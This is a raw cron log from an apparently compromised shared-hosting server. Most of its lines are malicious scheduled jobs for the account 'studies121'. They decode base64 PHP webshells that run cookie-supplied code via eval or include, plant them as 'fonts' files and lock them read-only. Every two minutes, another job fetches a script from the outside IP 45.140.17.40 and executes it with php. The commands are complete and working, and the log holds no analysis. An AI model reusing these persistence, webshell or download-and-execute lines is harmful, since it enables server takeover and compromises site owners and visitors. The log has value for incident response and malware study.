Sep 11 10:09:01 ip-184-168-122-23 CROND[13531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:10:01 ip-184-168-122-23 CROND[13895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:10:01 ip-184-168-122-23 CROND[13900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:10:01 ip-184-168-122-23 CROND[13901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:10:01 ip-184-168-122-23 CROND[13903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:10:01 ip-184-168-122-23 CROND[13905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:10:01 ip-184-168-122-23 CROND[13909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:10:01 ip-184-168-122-23 CROND[13912]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:10:01 ip-184-168-122-23 CROND[13913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:11:01 ip-184-168-122-23 CROND[14022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:11:01 ip-184-168-122-23 CROND[14023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:11:01 ip-184-168-122-23 CROND[14025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:11:01 ip-184-168-122-23 CROND[14028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:12:01 ip-184-168-122-23 CROND[14230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:12:01 ip-184-168-122-23 CROND[14232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:12:01 ip-184-168-122-23 CROND[14231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:12:01 ip-184-168-122-23 CROND[14233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:12:01 ip-184-168-122-23 CROND[14234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:13:01 ip-184-168-122-23 CROND[14669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:13:01 ip-184-168-122-23 CROND[14670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:13:01 ip-184-168-122-23 CROND[14672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:13:01 ip-184-168-122-23 CROND[14671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:14:01 ip-184-168-122-23 CROND[15047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:14:01 ip-184-168-122-23 CROND[15048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:14:01 ip-184-168-122-23 CROND[15051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:14:01 ip-184-168-122-23 CROND[15052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:14:01 ip-184-168-122-23 CROND[15053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:15:01 ip-184-168-122-23 CROND[15169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:15:01 ip-184-168-122-23 CROND[15171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:15:01 ip-184-168-122-23 CROND[15173]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:15:01 ip-184-168-122-23 CROND[15174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:15:01 ip-184-168-122-23 CROND[15175]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 10:15:01 ip-184-168-122-23 CROND[15172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:15:01 ip-184-168-122-23 CROND[15176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:16:01 ip-184-168-122-23 CROND[15304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:16:01 ip-184-168-122-23 CROND[15305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:16:01 ip-184-168-122-23 CROND[15308]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 10:16:01 ip-184-168-122-23 CROND[15309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:16:01 ip-184-168-122-23 CROND[15311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:16:01 ip-184-168-122-23 CROND[15313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:17:01 ip-184-168-122-23 CROND[15451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:17:01 ip-184-168-122-23 CROND[15453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:17:01 ip-184-168-122-23 CROND[15455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:17:01 ip-184-168-122-23 CROND[15454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:18:01 ip-184-168-122-23 CROND[15560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:18:01 ip-184-168-122-23 CROND[15562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:18:01 ip-184-168-122-23 CROND[15561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:18:01 ip-184-168-122-23 CROND[15563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:18:01 ip-184-168-122-23 CROND[15565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:19:01 ip-184-168-122-23 CROND[15764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:19:01 ip-184-168-122-23 CROND[15765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:19:01 ip-184-168-122-23 CROND[15768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:19:01 ip-184-168-122-23 CROND[15771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:20:01 ip-184-168-122-23 CROND[15887]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:20:01 ip-184-168-122-23 CROND[15891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:20:01 ip-184-168-122-23 CROND[15895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:20:01 ip-184-168-122-23 CROND[15896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:20:01 ip-184-168-122-23 CROND[15897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:20:01 ip-184-168-122-23 CROND[15898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:20:01 ip-184-168-122-23 CROND[15893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:20:01 ip-184-168-122-23 CROND[15899]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 10:20:01 ip-184-168-122-23 CROND[15901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:21:01 ip-184-168-122-23 CROND[16014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:21:01 ip-184-168-122-23 CROND[16018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:21:01 ip-184-168-122-23 CROND[16017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
